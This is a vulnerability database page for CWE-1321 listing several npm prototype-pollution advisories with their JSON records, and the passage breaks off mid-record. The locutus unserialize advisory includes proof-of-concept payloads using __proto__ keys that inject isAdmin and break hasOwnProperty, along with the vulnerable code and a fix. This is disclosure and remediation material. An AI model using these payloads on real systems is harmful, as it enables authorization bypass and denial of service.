CWE-1321
AllowedImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
780 vulnerabilities reference this CWE, most recent first.
GHSA-4M8H-H59M-M34J
Vulnerability from github – Published: 2022-02-01 00:50 – Updated: 2022-02-07 21:21The package bmoor before 0.10.1 is vulnerable to Prototype Pollution due to missing sanitization in set function. Note: This vulnerability derives from an incomplete fix in CVE-2020-7736
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "bmoor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23558"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-31T20:51:31Z",
"nvd_published_at": "2022-01-28T22:15:00Z",
"severity": "HIGH"
},
"details": "The package bmoor before 0.10.1 is vulnerable to Prototype Pollution due to missing sanitization in set function. **Note:** This vulnerability derives from an incomplete fix in [CVE-2020-7736](https://security.snyk.io/vuln/SNYK-JS-BMOOR-598664)",
"id": "GHSA-4m8h-h59m-m34j",
"modified": "2022-02-07T21:21:00Z",
"published": "2022-02-01T00:50:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23558"
},
{
"type": "WEB",
"url": "https://github.com/b-heilman/bmoor/commit/29b0162cc1dc1791fc060891f568b0ae29bc542b"
},
{
"type": "WEB",
"url": "https://github.com/b-heilman/bmoor"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-BMOOR-598664"
},
{
"type": "WEB",
"url": "https://snyk.io/blog/remediate-javascript-type-confusion-bypassed-input-validation"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-BMOOR-2342622"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in bmoor"
}
GHSA-4MPH-V827-F877
Vulnerability from github – Published: 2026-03-27 17:57 – Updated: 2026-03-30 20:14Summary
The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.
This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.
Details
The vulnerable code is in two functions within src/php/var/unserialize.ts:
expectArrayItems() at line 358:
// src/php/var/unserialize.ts:329-366
function expectArrayItems(
str: string,
expectedItems = 0,
cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
// ...
const items: UnserializedObject = {}
// ...
for (let i = 0; i < expectedItems; i++) {
key = expectKeyOrIndex(str)
// ...
item = expectType(str, cache)
// ...
items[String(key[0])] = item[0] // line 358 — no __proto__ filtering
}
// ...
}
expectObject() at line 278:
// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
// ...
const obj: UnserializedObject = {}
// ...
for (let i = 0; i < propCount; i++) {
// ...
obj[String(prop[0])] = value[0] // line 278 — no __proto__ filtering
}
// ...
}
Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:
- Properties in the attacker-supplied prototype become accessible via dot notation and the
inoperator - These properties are invisible to
Object.keys(),JSON.stringify(), andhasOwnProperty() - They propagate to copies made via
for...inloops, becoming real own properties - The attacker can override
hasOwnProperty,toString,valueOfwith non-function values
Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.
This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.
PoC
Setup:
npm install locutus@3.0.24
Step 1 — Property injection via array deserialization:
import { unserialize } from 'locutus/php/var/unserialize';
const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);
console.log(config.isAdmin); // true (injected via prototype)
console.log(Object.keys(config)); // ['name'] — isAdmin is hidden
console.log('isAdmin' in config); // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty
Verified output:
true
[ 'name' ]
true
false
Step 2 — for...in propagation makes injected properties real:
const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin); // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin')); // true
Verified output:
true
true
Step 3 — Method override denial of service:
const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function
Verified output:
TypeError: obj.hasOwnProperty is not a function
Step 4 — Object type (stdClass) is also vulnerable:
const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const obj2 = unserialize(payload3);
console.log(obj2.isAdmin); // true
console.log('isAdmin' in obj2); // true
Step 5 — Confirm NOT global pollution:
console.log(({}).isAdmin); // undefined — global Object.prototype is clean
Impact
- Property injection: Attacker-controlled properties become accessible on the deserialized object via dot notation and the
inoperator while being invisible toObject.keys()andhasOwnProperty(). Applications that useif (config.isAdmin)orif ('role' in config)patterns on deserialized data are vulnerable to authorization bypass. - Property propagation: When consuming code copies the object using
for...in(a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequenthasOwnPropertychecks. - Denial of service: The injected prototype can override
hasOwnProperty,toString,valueOf, and otherObject.prototypemethods with non-function values, causingTypeErrorwhen these methods are called on the deserialized object.
The primary use case for locutus unserialize is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.
Recommended Fix
Filter dangerous keys before assignment in both expectArrayItems and expectObject. Use Object.defineProperty to create a data property without triggering the __proto__ setter:
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
// In expectArrayItems (line 358) and expectObject (line 278):
const keyStr = String(key[0]); // or String(prop[0]) in expectObject
if (DANGEROUS_KEYS.has(keyStr)) {
Object.defineProperty(items, keyStr, {
value: item[0],
writable: true,
enumerable: true,
configurable: true,
});
} else {
items[keyStr] = item[0];
}
Alternatively, create objects with a null prototype to prevent __proto__ setter invocation entirely:
// Replace: const items: UnserializedObject = {}
// With:
const items = Object.create(null) as UnserializedObject;
The Object.create(null) approach is more robust as it prevents the __proto__ setter from ever being triggered, regardless of key value.
Maintainer Reponse
Thank you for the report. This issue was reproduced locally against locutus@3.0.24, confirming that unserialize() was vulnerable to __proto__-driven prototype injection on the returned object.
This is now fixed on main and released in locutus@3.0.25.
Fix Shipped In
What the Fix Does
The fix hardens src/php/var/unserialize.ts by treating __proto__, constructor, and prototype as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.
Tested Repro Before the Fix
- Attacker-controlled serialized
__proto__key produced inherited properties on the returned object Object.keys()hid the injected key while'key' in objstayed true- Built-in methods like
hasOwnPropertycould be disrupted
Tested State After the Fix in 3.0.25
- Dangerous keys are kept as own enumerable properties
- The returned object's prototype is not replaced
- The regression is covered by
test/custom/unserialize-prototype-pollution.vitest.ts
The locutus team is treating this as a real package vulnerability with patched version 3.0.25.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "locutus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33993"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T17:57:39Z",
"nvd_published_at": "2026-03-27T23:17:14Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript\u0027s `__proto__` setter is invoked, replacing the deserialized object\u0027s prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.\n\nThis is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) \u2014 `unserialize` is a different function with no mitigation applied.\n\n## Details\n\nThe vulnerable code is in two functions within `src/php/var/unserialize.ts`:\n\n**`expectArrayItems()` at line 358:**\n```typescript\n// src/php/var/unserialize.ts:329-366\nfunction expectArrayItems(\n str: string,\n expectedItems = 0,\n cache: CacheFn,\n): [UnserializedObject | UnserializedValue[], number] {\n // ...\n const items: UnserializedObject = {}\n // ...\n for (let i = 0; i \u003c expectedItems; i++) {\n key = expectKeyOrIndex(str)\n // ...\n item = expectType(str, cache)\n // ...\n items[String(key[0])] = item[0] // line 358 \u2014 no __proto__ filtering\n }\n // ...\n}\n```\n\n**`expectObject()` at line 278:**\n```typescript\n// src/php/var/unserialize.ts:246-287\nfunction expectObject(str: string, cache: CacheFn): ParsedResult {\n // ...\n const obj: UnserializedObject = {}\n // ...\n for (let i = 0; i \u003c propCount; i++) {\n // ...\n obj[String(prop[0])] = value[0] // line 278 \u2014 no __proto__ filtering\n }\n // ...\n}\n```\n\nBoth functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript\u0027s `__proto__` setter replaces the object\u0027s prototype rather than creating a regular property. This means:\n\n1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator\n2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()`\n3. They propagate to copies made via `for...in` loops, becoming real own properties\n4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values\n\nNotably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`.\n\nThis is **not** global `Object.prototype` pollution \u2014 only the deserialized object\u0027s prototype is replaced. Other objects in the application are not affected.\n\n## PoC\n\n**Setup:**\n```bash\nnpm install locutus@3.0.24\n```\n\n**Step 1 \u2014 Property injection via array deserialization:**\n```js\nimport { unserialize } from \u0027locutus/php/var/unserialize\u0027;\n\nconst payload = \u0027a:2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}\u0027;\nconst config = unserialize(payload);\n\nconsole.log(config.isAdmin); // true (injected via prototype)\nconsole.log(Object.keys(config)); // [\u0027name\u0027] \u2014 isAdmin is hidden\nconsole.log(\u0027isAdmin\u0027 in config); // true \u2014 bypasses \u0027in\u0027 checks\nconsole.log(config.hasOwnProperty(\u0027isAdmin\u0027)); // false \u2014 invisible to hasOwnProperty\n```\n\n**Verified output:**\n```\ntrue\n[ \u0027name\u0027 ]\ntrue\nfalse\n```\n\n**Step 2 \u2014 for...in propagation makes injected properties real:**\n```js\nconst copy = {};\nfor (const k in config) copy[k] = config[k];\nconsole.log(copy.isAdmin); // true (now an own property)\nconsole.log(copy.hasOwnProperty(\u0027isAdmin\u0027)); // true\n```\n\n**Verified output:**\n```\ntrue\ntrue\n```\n\n**Step 3 \u2014 Method override denial of service:**\n```js\nconst payload2 = \u0027a:1:{s:9:\"__proto__\";a:1:{s:14:\"hasOwnProperty\";b:1;}}\u0027;\nconst obj = unserialize(payload2);\nobj.hasOwnProperty(\u0027x\u0027); // TypeError: obj.hasOwnProperty is not a function\n```\n\n**Verified output:**\n```\nTypeError: obj.hasOwnProperty is not a function\n```\n\n**Step 4 \u2014 Object type (stdClass) is also vulnerable:**\n```js\nconst payload3 = \u0027O:8:\"stdClass\":2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}\u0027;\nconst obj2 = unserialize(payload3);\nconsole.log(obj2.isAdmin); // true\nconsole.log(\u0027isAdmin\u0027 in obj2); // true\n```\n\n**Step 5 \u2014 Confirm NOT global pollution:**\n```js\nconsole.log(({}).isAdmin); // undefined \u2014 global Object.prototype is clean\n```\n\n## Impact\n\n- **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if (\u0027role\u0027 in config)` patterns on deserialized data are vulnerable to authorization bypass.\n- **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks.\n- **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object.\n\nThe primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.\n\n## Recommended Fix\n\nFilter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter:\n\n```typescript\nconst DANGEROUS_KEYS = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\n\n// In expectArrayItems (line 358) and expectObject (line 278):\nconst keyStr = String(key[0]); // or String(prop[0]) in expectObject\nif (DANGEROUS_KEYS.has(keyStr)) {\n Object.defineProperty(items, keyStr, {\n value: item[0],\n writable: true,\n enumerable: true,\n configurable: true,\n });\n} else {\n items[keyStr] = item[0];\n}\n```\n\nAlternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely:\n\n```typescript\n// Replace: const items: UnserializedObject = {}\n// With:\nconst items = Object.create(null) as UnserializedObject;\n```\n\nThe `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value.\n\n\n## Maintainer Reponse\n\nThank you for the report. This issue was reproduced locally against `locutus@3.0.24`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object.\n\nThis is now fixed on `main` and released in `locutus@3.0.25`.\n\n## Fix Shipped In\n\n- **PR:** [#597](https://github.com/locutusjs/locutus/pull/597)\n- **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4`\n- **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25)\n\n## What the Fix Does\n\nThe fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript\u0027s prototype setter semantics.\n\n## Tested Repro Before the Fix\n\n- Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object\n- `Object.keys()` hid the injected key while `\u0027key\u0027 in obj` stayed true\n- Built-in methods like `hasOwnProperty` could be disrupted\n\n## Tested State After the Fix in `3.0.25`\n\n- Dangerous keys are kept as own enumerable properties\n- The returned object\u0027s prototype is not replaced\n- The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts`\n\n---\n\nThe locutus team is treating this as a real package vulnerability with patched version `3.0.25`.",
"id": "GHSA-4mph-v827-f877",
"modified": "2026-03-30T20:14:41Z",
"published": "2026-03-27T17:57:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33993"
},
{
"type": "WEB",
"url": "https://github.com/locutusjs/locutus/pull/597"
},
{
"type": "WEB",
"url": "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4"
},
{
"type": "PACKAGE",
"url": "https://github.com/locutusjs/locutus"
},
{
"type": "WEB",
"url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()"
}
GHSA-4MVJ-RQ4V-2FXW
Vulnerability from github – Published: 2021-10-21 17:50 – Updated: 2022-12-03 03:56This vulnerability affects all versions of package x-assign. The global proto object can be polluted using the proto object.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "x-assign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23452"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-21T14:54:57Z",
"nvd_published_at": "2021-10-20T13:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability affects all versions of package x-assign. The global proto object can be polluted using the __proto__ object.",
"id": "GHSA-4mvj-rq4v-2fxw",
"modified": "2022-12-03T03:56:39Z",
"published": "2021-10-21T17:50:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23452"
},
{
"type": "PACKAGE",
"url": "https://github.com/mvoorberg/x-assign"
},
{
"type": "WEB",
"url": "https://runkit.com/embed/sq8qjwemyn8t"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-XASSIGN-1759314"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in x-assign"
}
GHSA-4Q97-FH3F-J294
Vulnerability from github – Published: 2021-05-10 15:59 – Updated: 2021-05-07 21:50All versions of package tiny-conf up to and including version 1.1.0 are vulnerable to Prototype Pollution via the set function.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tiny-conf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7724"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-07T21:50:46Z",
"nvd_published_at": "2020-09-01T10:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of package tiny-conf up to and including version 1.1.0 are vulnerable to Prototype Pollution via the set function.",
"id": "GHSA-4q97-fh3f-j294",
"modified": "2021-05-07T21:50:46Z",
"published": "2021-05-10T15:59:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7724"
},
{
"type": "WEB",
"url": "https://github.com/tiny-conf/tiny-conf/commit/1f7be78bc68927996647cd45b4367f8975a3ea05"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-TINYCONF-598792"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in tiny-conf"
}
GHSA-4R6H-8V6P-XVW6
Vulnerability from github – Published: 2023-04-24 09:30 – Updated: 2025-09-19 15:23All versions of SheetJS CE through 0.19.2 are vulnerable to "Prototype Pollution" when reading specially crafted files. Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are unaffected.
A non-vulnerable version cannot be found via npm, as the repository hosted on GitHub and the npm package xlsx are no longer maintained. Version 0.19.3 can be downloaded via https://cdn.sheetjs.com/.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.19.3"
},
"package": {
"ecosystem": "npm",
"name": "xlsx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-30533"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-24T22:40:42Z",
"nvd_published_at": "2023-04-24T08:15:07Z",
"severity": "HIGH"
},
"details": "All versions of SheetJS CE through 0.19.2 are vulnerable to \"Prototype Pollution\" when reading specially crafted files. Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are unaffected.\n\nA non-vulnerable version cannot be found via npm, as the repository hosted on GitHub and the npm package `xlsx` are no longer maintained. Version 0.19.3 can be downloaded via https://cdn.sheetjs.com/.",
"id": "GHSA-4r6h-8v6p-xvw6",
"modified": "2025-09-19T15:23:40Z",
"published": "2023-04-24T09:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30533"
},
{
"type": "WEB",
"url": "https://cdn.sheetjs.com"
},
{
"type": "WEB",
"url": "https://cdn.sheetjs.com/advisories/CVE-2023-30533"
},
{
"type": "PACKAGE",
"url": "https://git.sheetjs.com/sheetjs/sheetjs"
},
{
"type": "WEB",
"url": "https://git.sheetjs.com/sheetjs/sheetjs/issues/2667"
},
{
"type": "WEB",
"url": "https://git.sheetjs.com/sheetjs/sheetjs/issues/2986"
},
{
"type": "WEB",
"url": "https://git.sheetjs.com/sheetjs/sheetjs/src/branch/master/CHANGELOG.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in sheetJS"
}
GHSA-4R97-78GF-Q24V
Vulnerability from github – Published: 2020-09-04 17:53 – Updated: 2025-07-18 19:42Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8f89-2fwj-5v5r. This link is maintained to preserve external references.
Original Description
Versions of klona prior to 1.1.1 are vulnerable to prototype pollution. The package does not restrict the modification of an Object's prototype when cloning objects, which may allow an attacker to add or modify an existing property that will exist on all objects.
Recommendation
Upgrade to version 1.1.1 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "klona"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T19:00:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8f89-2fwj-5v5r. This link is maintained to preserve external references.\n\n## Original Description\nVersions of `klona` prior to 1.1.1 are vulnerable to prototype pollution. The package does not restrict the modification of an Object\u0027s prototype when cloning objects, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpgrade to version 1.1.1 or later.",
"id": "GHSA-4r97-78gf-q24v",
"modified": "2025-07-18T19:42:53Z",
"published": "2020-09-04T17:53:27Z",
"references": [
{
"type": "WEB",
"url": "https://hackerone.com/reports/778414"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1463"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Duplicate Advisory: Prototype Pollution in klona",
"withdrawn": "2025-07-18T19:42:53Z"
}
GHSA-4VGC-RWR6-7J6R
Vulnerability from github – Published: 2024-12-04 12:31 – Updated: 2024-12-04 12:31In JetBrains YouTrack before 2024.3.52635 multiple merge functions were vulnerable to prototype pollution attack
{
"affected": [],
"aliases": [
"CVE-2024-54156"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-04T12:15:20Z",
"severity": "MODERATE"
},
"details": "In JetBrains YouTrack before 2024.3.52635 multiple merge functions were vulnerable to prototype pollution attack",
"id": "GHSA-4vgc-rwr6-7j6r",
"modified": "2024-12-04T12:31:45Z",
"published": "2024-12-04T12:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54156"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4VJR-HFPP-2M7W
Vulnerability from github – Published: 2025-04-04 06:34 – Updated: 2025-04-04 18:24Versions of the package expand-object from 0.0.0 to 0.4.2 are vulnerable to Prototype Pollution in the expand() function in index.js. This function expands the given string into an object and allows a nested property to be set without checking the provided keys for sensitive properties like proto.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "expand-object"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-3197"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-04T18:24:05Z",
"nvd_published_at": "2025-04-04T05:15:46Z",
"severity": "MODERATE"
},
"details": "Versions of the package expand-object from 0.0.0 to 0.4.2 are vulnerable to Prototype Pollution in the expand() function in index.js. This function expands the given string into an object and allows a nested property to be set without checking the provided keys for sensitive properties like __proto__.",
"id": "GHSA-4vjr-hfpp-2m7w",
"modified": "2025-04-04T18:24:05Z",
"published": "2025-04-04T06:34:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3197"
},
{
"type": "WEB",
"url": "https://gist.github.com/miguelafmonteiro/d8f66af61d14e06338b688f90c4dfa7c"
},
{
"type": "PACKAGE",
"url": "https://github.com/jonschlinkert/expand-object"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/expand-object/blob/master/index.js#L13"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-EXPANDOBJECT-5821390"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "expand-object Vulnerable to Prototype Pollution via the expand() Function"
}
GHSA-4WM9-3QMV-GVXJ
Vulnerability from github – Published: 2024-07-01 15:32 – Updated: 2024-07-12 19:08rjrodger jsonic-next v2.12.1 was discovered to contain a prototype pollution via the function empty. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jsonic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-38993"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-01T21:52:44Z",
"nvd_published_at": "2024-07-01T13:15:04Z",
"severity": "CRITICAL"
},
"details": "rjrodger jsonic-next v2.12.1 was discovered to contain a prototype pollution via the function empty. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
"id": "GHSA-4wm9-3qmv-gvxj",
"modified": "2024-07-12T19:08:25Z",
"published": "2024-07-01T15:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38993"
},
{
"type": "WEB",
"url": "https://gist.github.com/mestrtee/9a2b522d59c53f31f45c1edb96459693"
},
{
"type": "PACKAGE",
"url": "https://github.com/jsonicjs/jsonic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "jsonic was discovered to contain a prototype pollution via the function empty.",
"withdrawn": "2024-07-12T19:08:25Z"
}
GHSA-4XCX-CWRQ-W792
Vulnerability from github – Published: 2023-10-06 21:30 – Updated: 2023-10-13 21:26In NASA Open MCT (aka openmct) before commit 545a177 is subject to a prototype pollution which can occur via an import action.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openmct"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-45282"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-09T00:48:28Z",
"nvd_published_at": "2023-10-06T19:15:12Z",
"severity": "HIGH"
},
"details": "In NASA Open MCT (aka openmct) before commit 545a177 is subject to a prototype pollution which can occur via an import action.",
"id": "GHSA-4xcx-cwrq-w792",
"modified": "2023-10-13T21:26:57Z",
"published": "2023-10-06T21:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45282"
},
{
"type": "WEB",
"url": "https://github.com/nasa/openmct/pull/7094/commits/545a1770c523ecc3410dca884c6809d5ff0f9d52"
},
{
"type": "WEB",
"url": "https://github.com/nasa/openmct/commit/2243381d527c0d84cc48e9ace78be7cda5363612"
},
{
"type": "PACKAGE",
"url": "https://github.com/nasa/openmct"
},
{
"type": "WEB",
"url": "https://github.com/nasa/openmct/compare/v3.0.2...v3.1.0"
},
{
